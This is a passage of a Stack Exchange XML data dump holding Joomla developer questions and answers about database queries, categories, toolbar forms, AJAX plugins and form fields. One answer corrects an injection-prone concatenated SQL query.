CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32970" PostTypeId="1" CreationDate="2023-04-15T14:18:40.237" Score="0" ViewCount="447" Body="&lt;p&gt;I am trying to run a simple query in Joomla 4 to retrieve order data to display in a module.&lt;/p&gt;&#xA;&lt;p&gt;Testing the query with phpMyAdmin works fine, but despite generating no errors (set to Maximum) the below code returns no rows.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = Factory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;// Prepare the query&#xA;$query = &amp;quot;SELECT *&#xA;          FROM #__orders&#xA;          WHERE year(order_date)=&amp;quot; . $orderyear . &amp;quot;&#xA;                and month(order_date)=&amp;quot; . $ordermonth . &amp;quot;&#xA;                and DAY(order_date)&amp;gt;=&amp;quot; . $beginning . &amp;quot;&#xA;                and DAY(order_date)&amp;lt;=&amp;quot; . $enddate . &amp;quot;&#xA;          order by order_id desc&amp;quot;;&#xA;$db-&amp;gt;setQuery($query);&#xA;// Load the results&#xA;$orders = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Am I doing anything wrong?&lt;/p&gt;&#xA;" OwnerUserId="16171" LastEditorUserId="12352" LastEditDate="2023-04-17T20:37:14.207" LastActivityDate="2023-04-19T19:54:28.073" Title="How to display order data with simple SQL query?" Tags="|joomla-4.x|custom-module|jdatabase|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32971" PostTypeId="1" CreationDate="2023-04-15T14:18:46.327" Score="0" ViewCount="37" Body="&lt;p&gt;In various tutorial, I see models, which provide data to the controller by means of arrays.&lt;/p&gt;&#xA;&lt;p&gt;While this might be OK, I wonder if mapping these records to a model item classes wouldn't be better:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the extension would model item classes, it gets better type safeness.&lt;/li&gt;&#xA;&lt;li&gt;Furthermore, my IDE could provide auto complete hints.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Should I use model item classes instead of arrays? Does this is a best practice?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="17006" LastEditorUserId="17006" LastEditDate="2023-04-15T19:28:17.733" LastActivityDate="2023-04-15T19:28:17.733" Title="Map records from the model to classes" Tags="|extensions|best-practices|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32972" PostTypeId="2" ParentId="32968" CreationDate="2023-04-15T16:18:13.527" Score="1" Body="&lt;p&gt;The option &lt;code&gt;short_open_tag = &amp;quot;1&amp;quot;&lt;/code&gt; has to be set like that.&#xA;For some reason the server had set it to 0 by default.&lt;/p&gt;&#xA;" OwnerUserId="16372" LastActivityDate="2023-04-15T16:18:13.527" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32973" PostTypeId="1" CreationDate="2023-04-15T16:54:25.690" Score="0" ViewCount="110" Body="&lt;p&gt;I am looking for an example, or a tutorial to create a customized text field for Joomla with a formatted string like xxx-xxx-xxx-xxx and a control during the input. I can use JQuery for that. Where can i find an exapmle, a tutorial, some explanations ... for doing that. I must use Joomla 3.9&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="16374" LastActivityDate="2023-04-25T07:44:47.850" Title="How to create a text form field with formated format" Tags="|form-fields-types|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="32974" PostTypeId="2" ParentId="32970" CreationDate="2023-04-15T18:36:49.810" Score="1" Body="&lt;p&gt;&lt;strong&gt;Never put variables directly in an SQL query&lt;/strong&gt;. That's asking for (SQL injection) problems. Instead use Joomla's query object and escape the variables. Or more advanced: Since Joomla 4 you can use prepared statements.&lt;/p&gt;&#xA;&lt;p&gt;I would write that code like this (it's without prepared statements)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$db = Factory::getContainer()-&amp;gt;get('DatabaseDriver');&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('*')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__user_profiles'))&#xA;    -&amp;gt;where('year(order_date) = ' . (int) $orderyear)&#xA;    -&amp;gt;where('month(order_date) = ' . (int) $ordermonth)&#xA;    -&amp;gt;where('DAY(order_date) &amp;gt;= ' . (int) $beginning)&#xA;    -&amp;gt;where('DAY(order_date) &amp;lt;= ' . (int) $enddate)&#xA;    -&amp;gt;order('order_id desc');&#xA;// The following line is only to display the SQL that you can test in phpMyAdmin&#xA;echo $query-&amp;gt;dump();&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$orders = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the query I made the variables safe by casting them to an integer using &lt;code&gt;(int)&lt;/code&gt;. Strings can be sanitized with &lt;code&gt;$db-&amp;gt;quote($some_string)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;More info see: &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2023-04-15T18:36:49.810" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32976" PostTypeId="2" ParentId="32958" CreationDate="2023-04-16T00:39:52.927" Score="0" Body="&lt;p&gt;You may need to have a ..\components\com_inventory\src\Service\Router.php defined in the front end?&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-04-16T00:39:52.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32977" PostTypeId="1" AcceptedAnswerId="32983" CreationDate="2023-04-17T11:04:55.303" Score="1" ViewCount="296" Body="&lt;p&gt;In a custom template helper of com_content I need to get all children categories from specific category.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$categories = Joomla\CMS\Categories\Categories::getInstance('content');&#xA;$cat        = $categories-&amp;gt;get($id);&#xA;return  $cat-&amp;gt;getChildren();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But &lt;code&gt;getInstance&lt;/code&gt; will be deprecated in J5:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;@deprecated  5.0 Use the ComponentInterface to get the categories.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Please, what is the substitution method?&lt;/p&gt;&#xA;" OwnerUserId="16614" LastActivityDate="2023-04-18T13:50:56.077" Title="J4. Get children categories" Tags="|joomla-4.x|category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32978" PostTypeId="2" ParentId="32970" CreationDate="2023-04-17T13:15:24.147" Score="0" Body="&lt;p&gt;The code which works is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('*')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__orders'))&#xA;    -&amp;gt;where('YEAR(order_date) = ' . (int) $orderyear)&#xA;    -&amp;gt;where('MONTH(order_date) = ' . (int) $ordermonth)&#xA;    -&amp;gt;where ('DAY(order_date) BETWEEN ' . (int) $beginning. ' AND ' . (int) $enddate)&#xA;    -&amp;gt;order('order_id DESC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I deliberately want to breakout the date so that I can search by year, month or days.&lt;/p&gt;&#xA;" OwnerUserId="16171" LastEditorUserId="12352" LastEditDate="2023-04-19T19:54:28.073" LastActivityDate="2023-04-19T19:54:28.073" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32979" PostTypeId="1" AcceptedAnswerId="32984" CreationDate="2023-04-17T14:40:19.940" Score="2" ViewCount="74" Body="&lt;p&gt;I'm developing a component. At admin at the list of item, I get this error when I click on the &lt;kbd&gt;+ New&lt;/kbd&gt; button:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[Error] Error: The form &amp;quot;adminForm&amp;quot; is required to perform the task, but the form was not found on the page.&#xA;&#xA;connectedCallback (joomla-toolbar-button.js:62:128)&#xA;define&#xA;Modulcode (joomla-toolbar-button.js:5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the controller &lt;code&gt;$ADMIN/src/Events/HTMLView.php&lt;/code&gt; in &lt;code&gt;addToolbar()&lt;/code&gt; I have e.g. this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($canDo-&amp;gt;get('core.create') || count($user-&amp;gt;getAuthorisedCategories('com_eventcalendar', 'core.create')) &amp;gt; 0) {&#xA;            $toolbar-&amp;gt;addNew('events.add');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;What denotes the &lt;code&gt;events&lt;/code&gt; in the &lt;code&gt;'events.add'&lt;/code&gt; string?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The above mentioned error appears, but nothing else happens.&lt;/p&gt;&#xA;&lt;p&gt;Models in &lt;code&gt;$ADMIN/src/Model&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class EventsModel extends AdminModel {}&#xA;class EventModel extends AdminModel {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17006" LastEditorUserId="12352" LastEditDate="2023-04-17T19:53:16.977" LastActivityDate="2023-04-18T09:05:50.847" Title="Error: The form &quot;adminForm&quot; is required to perform the task, but the form was not found on the page" Tags="|component|joomla-4.x|custom-component|component-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32980" PostTypeId="1" CreationDate="2023-04-17T16:10:42.417" Score="0" ViewCount="60" Body="&lt;p&gt;I'm very new to Joomla, and I suspect that what I'm trying to do is very straightforward but I haven't been able to figure out how to do it, which probably means I'm looking in the wrong place.&lt;/p&gt;&#xA;&lt;p&gt;Let's say I'm building a Joomla 4 website to hold information about British Cities and current Premiership football clubs. In RDBMS terms we have a Cities table and a Clubs table and a zero to many relationship between the two.&lt;/p&gt;&#xA;&lt;p&gt;What I'd like is to be able to display a City and then expanding sections within the City page, one for each Club. Some Cities don't have any Club - that's fine. Some may have several - also fine. I'd like to make this all data driven, so that the Clubs just have a FK-like CityID, (rather than putting links into each City listing all its Clubs and a link into each Club identifying its City).&lt;/p&gt;&#xA;&lt;p&gt;I'd also like the Clubs to be independent entities at some level so that a user could search by Club/show all Clubs founded in 1890s, that kind of thing, rather than just data within the Cities entries.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;I think I should set up both Clubs and Cities as Articles within Joomla. &#xA;&lt;/li&gt;&lt;li&gt;&#xA;I think I distinguish those Articles by having separate Categories for Clubs and Cities - I can create a few custom fields on each Category, so Clubs can have founding dates and Cities can have population sizes. &#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;But...&lt;p&gt;&#xA;&lt;ul&gt;&lt;li&gt;&#xA;I don't know where to start with making the Clubs appear as nested &quot;sub articles&quot; within their Cities. In RDBMS this is a parent/child or master/detail form, but a few hours searching those kinds of terms in Joomla hasn't thrown anything useful up. The Clubs &quot;sub articles&quot; will need to be fully functioning articles, not just entries in a table, as they could include pictures, etc.&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Any kind of steer much appreciated. E.g., is this do-able in native Joomla, is there a Module or Extension for it, is Joomla the right tool for this job.&lt;/p&gt;&#xA;" OwnerUserId="17013" LastActivityDate="2023-04-17T22:32:02.023" Title="Nested / child articles" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32982" PostTypeId="2" ParentId="32980" CreationDate="2023-04-17T22:32:02.023" Score="1" Body="&lt;p&gt;Categories and Articles are already a one-to-many relationship.  Hence, make each city a category (under a parent category called City), and place the information about the city in the category description.  Each club is an article assigned to a city category.  The main pages are category blog layout or lists with the city description at the top and the clubs listed or linked below.&lt;/p&gt;&#xA;&lt;p&gt;As for making a search find all clubs founded in the 1890s that is about 7 times more complicated.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2023-04-17T22:32:02.023" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32983" PostTypeId="2" ParentId="32977" CreationDate="2023-04-18T07:08:10.030" Score="2" Body="&lt;p&gt;In CMS context you can get the component through the active application. The component may not necessarily support categories so it's a good idea to check if it implements the required interface:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$component = Joomla\CMS\Factory::getApplication()-&amp;gt;bootComponent('content');&#xA;&#xA;if (!$component instanceof Joomla\CMS\Categories\CategoryServiceInterface)&#xA;{&#xA;    // Component does not support categories. Bail here.&#xA;}&#xA;&#xA;$categories = $component-&amp;gt;getCategory();&#xA;$cat        = $categories-&amp;gt;get($id);&#xA;return  $cat-&amp;gt;getChildren();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2023-04-18T13:50:56.077" LastActivityDate="2023-04-18T13:50:56.077" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32984" PostTypeId="2" ParentId="32979" CreationDate="2023-04-18T09:05:50.847" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;What denotes the events in the 'events.add' string?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The 'events.add' is the the same as specifying &lt;code&gt;&amp;amp;task=events.add&lt;/code&gt; in the URL of a link, both of which will direct processing to a Controller called &lt;code&gt;EventsController&lt;/code&gt; and the function/method within that Controller called &lt;code&gt;add&lt;/code&gt; within the current component.&lt;/p&gt;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class EventsController extends ...&#xA;{&#xA;   public function add()&#xA;   {&#xA;      ...&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In your example here the New button does not use any information from the List page but it still expects there to be a &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; defined called &lt;code&gt;adminForm&lt;/code&gt; as most button/link actions is essentially triggering the form to be Submitted, or processed, using Joomla.submit(). I had a similar issue when learning and it was explained here that the name of the form needs to &lt;code&gt;adminForm&lt;/code&gt; for the default &lt;code&gt;joomla.submit()&lt;/code&gt; to work or pass it a different name. &lt;a href=&quot;https://joomla.stackexchange.com/questions/25042/typeerror-form-is-null-on-button-in-admin-toolbar&quot;&gt;TypeError: Form is Null on Button in Admin toolbar&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The obvious example for using the values set in a &lt;code&gt;'&amp;lt;form&amp;gt;'&lt;/code&gt; is if you have used the default checkbox approach for your list table. Once you select one or more checkbox's and chose a Menu item like Publish/Unpublish the values of the checkbox's and any other inputs of the form are available to the Controller that is called, in your case EventsController, by getting the right property from the Input object via a statement like this in your controller;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ids        = (array)$this-&amp;gt;input-&amp;gt;get('cid', array(), 'int') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;cid&lt;/code&gt; is the array that holds the values, usually a record identifier of some sort, for each box that was checked on the list.&lt;/p&gt;&#xA;&lt;p&gt;In the tmpl file for your List page you would probably use this core function to display and handle the show/noshow of the box being checked.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td class=&amp;quot;text-center&amp;quot;&amp;gt;&#xA;    &amp;lt;?php echo HTMLHelper::_('grid.id', $i, $item-&amp;gt;id); ?&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Another use case is the Search &amp;amp; Filter bar that is displayed on many List pages are are &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;'s and therefore expected to be within a &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; element.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-04-18T09:05:50.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32985" PostTypeId="1" AcceptedAnswerId="32986" CreationDate="2023-04-14T10:13:32.053" Score="1" ViewCount="46" Body="&lt;p&gt;I followed &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;this guide&lt;/a&gt; step by step and I've just created a plugin that should elaborate AJAX calls received from a form in the front-end, so that the data sent by every user will be structured and manipulated on the back-end before sending an email to everyone of them. The forn is written in HTML, CSS and pure Javascript, meaning that it's been constructed out of the Joomla framework. My Joomla version is the 3.10.11 .&lt;/p&gt;&#xA;&lt;p&gt;So, I created 3 files:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;formplugin.php&lt;/li&gt;&#xA;&lt;li&gt;formplugin.xml&lt;/li&gt;&#xA;&lt;li&gt;index.html&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Eventually I've installed the plugin and everything seemed to be alright.&lt;/p&gt;&#xA;&lt;p&gt;First file content is the following one:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    defined('_JEXEC') or die;&#xA;&#xA;&#xA;    use Joomla\CMS\Factory;&#xA;    use Joomla\CMS\Plugin\CMSPlugin;&#xA;    jimport('joomla.plugin.plugin');&#xA;&#xA;&#xA;    class plgAjaxFormplugin extends JPlugin {&#xA;&#xA;&#xA;        protected $app;&#xA;        protected $autoloadLanguage = true;&#xA;&#xA;&#xA;        public function onAjaxFormplugin() {&#xA;&#xA;&#xA;            var_dump(&amp;quot;prova&amp;quot;);&#xA;&#xA;&#xA;            return &amp;quot;prova&amp;quot;;&#xA;        }&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&amp;quot;formplugin.xml&amp;quot; is constructed like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;plugin&amp;quot; group=&amp;quot;ajax&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;   &amp;lt;name&amp;gt;formplugin&amp;lt;/name&amp;gt;&#xA;   &amp;lt;author&amp;gt;Autore&amp;lt;/author&amp;gt;&#xA;   &amp;lt;creationDate&amp;gt;Apr 2023&amp;lt;/creationDate&amp;gt;&#xA;   &amp;lt;license&amp;gt;MIT&amp;lt;/license&amp;gt;&#xA;   &amp;lt;authorEmail&amp;gt;email@email.it&amp;lt;/authorEmail&amp;gt;&#xA;   &amp;lt;authorUrl&amp;gt;www.sitoweb.it&amp;lt;/authorUrl&amp;gt;&#xA;   &amp;lt;version&amp;gt;0.01&amp;lt;/version&amp;gt;&#xA;   &amp;lt;description&amp;gt;FORMPLUGIN_XML_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;   &amp;lt;files&amp;gt;&#xA;      &amp;lt;filename plugin=&amp;quot;formplugin&amp;quot;&amp;gt;formplugin.php&amp;lt;/filename&amp;gt;&#xA;      &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;   &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&amp;quot;index.html&amp;quot; contains the classic single row:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&amp;lt;html&amp;gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;On the client side I am temporarily trying to send HTTP GET requests with Postman, with this URL:&lt;/p&gt;&#xA;&lt;p&gt;http://localhost/joomla_3-10/index.php?option=com_ajax&amp;amp;plugin=formplugin&amp;amp;format=raw&lt;/p&gt;&#xA;&lt;p&gt;Every request seem to be successful, I get the &lt;code&gt;200&lt;/code&gt; code. The problem is that no response is given, anyhow. It's like the &amp;quot;onAjaxFormplugin&amp;quot; function is not even called.&lt;/p&gt;&#xA;&lt;p&gt;What could the origin of this problem be?&lt;/p&gt;&#xA;" OwnerUserId="17016" OwnerDisplayName="smarmolena" LastActivityDate="2023-04-19T20:13:49.037" Title="No response from Joomla plugin that should receive AJAX calls" Tags="|php|ajax|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32986" PostTypeId="2" ParentId="32985" CreationDate="2023-04-17T07:39:34.787" Score="1" Body="&lt;p&gt;I eventually solved the problem, it was simply dued to the fact that I installed/uninstalled the plugin too many times and forgot to enable it after that. Now that I enabled the plugin everything works&lt;/p&gt;&#xA;" OwnerUserId="17016" OwnerDisplayName="smarmolena" LastActivityDate="2023-04-17T07:39:34.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32988" PostTypeId="1" CreationDate="2023-04-20T21:00:27.740" Score="0" ViewCount="28" Body="&lt;p&gt;I did change various &lt;strong&gt;internal parts of Joomla 4.x&lt;/strong&gt; to provide newbie developers more details what happened during the processing of a request. For Example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Added details of argument into the debug backtrace script&lt;/li&gt;&#xA;&lt;li&gt;Added details of the current controller, view or template, when it was or was not found&lt;/li&gt;&#xA;&lt;li&gt;Added details of the classes loaded be the DI component&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Did that by using &lt;code&gt;Log::add()&lt;/code&gt; with a new category.&lt;/p&gt;&#xA;&lt;p&gt;During the last update, I lost my changes ;-) Therefore:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does a structured way to keep such changes exist?&lt;/li&gt;&#xA;&lt;li&gt;May I for example at a certain comment like SKIPUPDATE to keep this file unchanged?&lt;/li&gt;&#xA;&lt;li&gt;Does the core provide well defined entry point for such stuff?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Actually, I wonder if these changes are worth being contributed to the Joomla distribution. Since the mentioned details provide invaluable details instead of more or less useless error message like 'Form not found'.&lt;/p&gt;&#xA;&lt;p&gt;After some time, the interpretation of error messages gets simple. But up to that point, the experience isn't quite nice.&lt;/p&gt;&#xA;" OwnerUserId="17006" LastActivityDate="2023-04-20T21:00:27.740" Title="Changing core parts of Joomla the structured way" Tags="|joomla-4.x|extensions|debug|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32989" PostTypeId="1" AcceptedAnswerId="32995" CreationDate="2023-04-20T21:10:11.553" Score="1" ViewCount="73" Body="&lt;p&gt;I have various such pairs in a form:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;        name=&amp;quot;hasEndDate&amp;quot;&#xA;        type=&amp;quot;list&amp;quot;&#xA;        label=&amp;quot;Hat Enddatum?&amp;quot;&#xA;        default=&amp;quot;1&amp;quot;&#xA;&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;Nein&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Ja&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&#xA;&amp;lt;field&#xA;        name=&amp;quot;endDate&amp;quot;&#xA;        type=&amp;quot;calendar&amp;quot;&#xA;        translateformat=&amp;quot;true&amp;quot;&#xA;        singleheader=&amp;quot;false&amp;quot;&#xA;        showtime=&amp;quot;true&amp;quot;&#xA;        timeformat=&amp;quot;24&amp;quot;&#xA;        todaybutton=&amp;quot;true&amp;quot;&#xA;        label=&amp;quot;Ende: Datum und Zeit&amp;quot;&#xA;        weeknumbers=&amp;quot;true&amp;quot;&#xA;        size=&amp;quot;20&amp;quot;&#xA;        filter=&amp;quot;server_utc&amp;quot;&#xA;        showon=&amp;quot;hasEndDate:1&amp;quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;While the first &lt;code&gt;showon&lt;/code&gt; in the first tab of the edit form makes the field appear / disappear, &lt;strong&gt;all other suchlike marked fields, never disappear&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I tried different types of the source field - no change at all.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Any ideas why?&lt;/li&gt;&#xA;&lt;li&gt;Is the &lt;code&gt;showon&lt;/code&gt; operation only guaranteed on the first tab?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17006" LastEditorUserId="12352" LastEditDate="2023-04-21T00:38:46.093" LastActivityDate="2023-04-24T14:33:34.773" Title="First showon works as expected, all others don't" Tags="|component|joomla-4.x|form-fields-types|showon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32990" PostTypeId="1" CreationDate="2023-04-21T11:33:01.857" Score="1" ViewCount="34" Body="&lt;p&gt;I'd like to allow users to submit content to a specific category, and notify administrators when this happens.&lt;/p&gt;&#xA;&lt;p&gt;It seems that J4 Workflows is designed to help this, but turn it then adds workflows to everything, so all new articles need to be approved. It feels like I could create a few different workflows and teach current users that all content now has to be &amp;quot;workflowed&amp;quot;, but maybe there's a simpler way to do this? I just want a notification on submission for a category.&lt;/p&gt;&#xA;" OwnerUserId="16993" LastEditorUserId="12352" LastEditDate="2023-04-22T01:15:25.443" LastActivityDate="2023-05-26T15:55:02.627" Title="Using Workflow on just one category?" Tags="|joomla-4.x|workflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32991" PostTypeId="2" ParentId="21677" CreationDate="2023-04-21T14:10:46.937" Score="1" Body="&lt;p&gt;I know this is a really old post, but I ran across it trying to solve the same issue in Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;The simple solution was to change the case.  The template filename need to be in all lowercase:&#xA;joomla/templates/mytemplate/html/com_content/article/landingpage.php&#xA;joomla/templates/mytemplate/html/com_content/article/landingpage.xml&#xA;joomla/templates/mytemplate/html/com_content/article/landingpage_layout.php&lt;/p&gt;&#xA;" OwnerUserId="17020" LastActivityDate="2023-04-21T14:10:46.937" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32992" PostTypeId="1" AcceptedAnswerId="32996" CreationDate="2023-04-22T14:25:19.457" Score="2" ViewCount="95" Body="&lt;p&gt;I need a hint for this problem, trying for days already to solve it:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;THE PROBLEM&lt;/strong&gt;&#xA;I am working with an Joomla extension which has this 2 tables of interest:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;COMPANIES&lt;/li&gt;&#xA;&lt;li&gt;PRODUCTS&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;A module lists all companies. Now I need to add to each of this displayed companies the cheapest Price of its products, along with some other values connected to this cheapest price (in the same db row).&lt;/p&gt;&#xA;&lt;p&gt;So I JOIN the MySQL-Query for the Company-Array to the products table and find out the MIN price:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = $this-&amp;gt;getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;// QUERY TO DISPLAY THE COMPANIES&#xA;&#xA;SELECT a.id, a.title AS CompanyName, a.compdiscount AS CompanyDiscount,&#xA;p.min_price AS MinimalPrice, p.company_id, p.title AS Product, p.price AS&#xA;Price, p.discount AS ProductDiscount, p.lowprice AS Lowprice, p.peakprice&#xA;AS Peakprice &#xA;FROM `company2` AS a &#xA;&#xA;//SUBQUERY TO PRODUCTS &#xA;LEFT JOIN (SELECT MIN(price) AS&#xA;min_price, company_id, title, price, discount, lowprice, peakprice &#xA;FROM products2 GROUP BY company_id) AS p &#xA;ON p.company_id = a.id &#xA;GROUP BY a.id; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have created a Fiddle:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.db-fiddle.com/f/w7fFNS78mCjQCiEvpqdeGd/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.db-fiddle.com/f/w7fFNS78mCjQCiEvpqdeGd/0&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;THE (STILL NOT WORKING) RESULT&lt;/strong&gt;&#xA;In the fiddle I have created 4 tables:&#xA;1.+2. Real-data tables&#xA;3.+4. Reduced copies of these tables&lt;/p&gt;&#xA;&lt;p&gt;And 4 Queries:&#xA;1.+3. Just show all data&#xA;2. Try to use the subquery with the real-data tables - NOT WORKING (the output is correct in displaying 3 companies and their minnimum price, but the other values are not from the same rows&#xA;4. Use the subquery with the test-data - WORKING - displaying 3 companies with their cheapest price and the values of the same rows.&lt;/p&gt;&#xA;" OwnerUserId="17022" LastEditorUserId="17022" LastEditDate="2023-04-26T11:03:58.660" LastActivityDate="2023-04-26T11:05:16.217" Title="Find row with lowest column value per group, then join distinct group data to another table" Tags="|module|mysql|" AnswerCount="3" 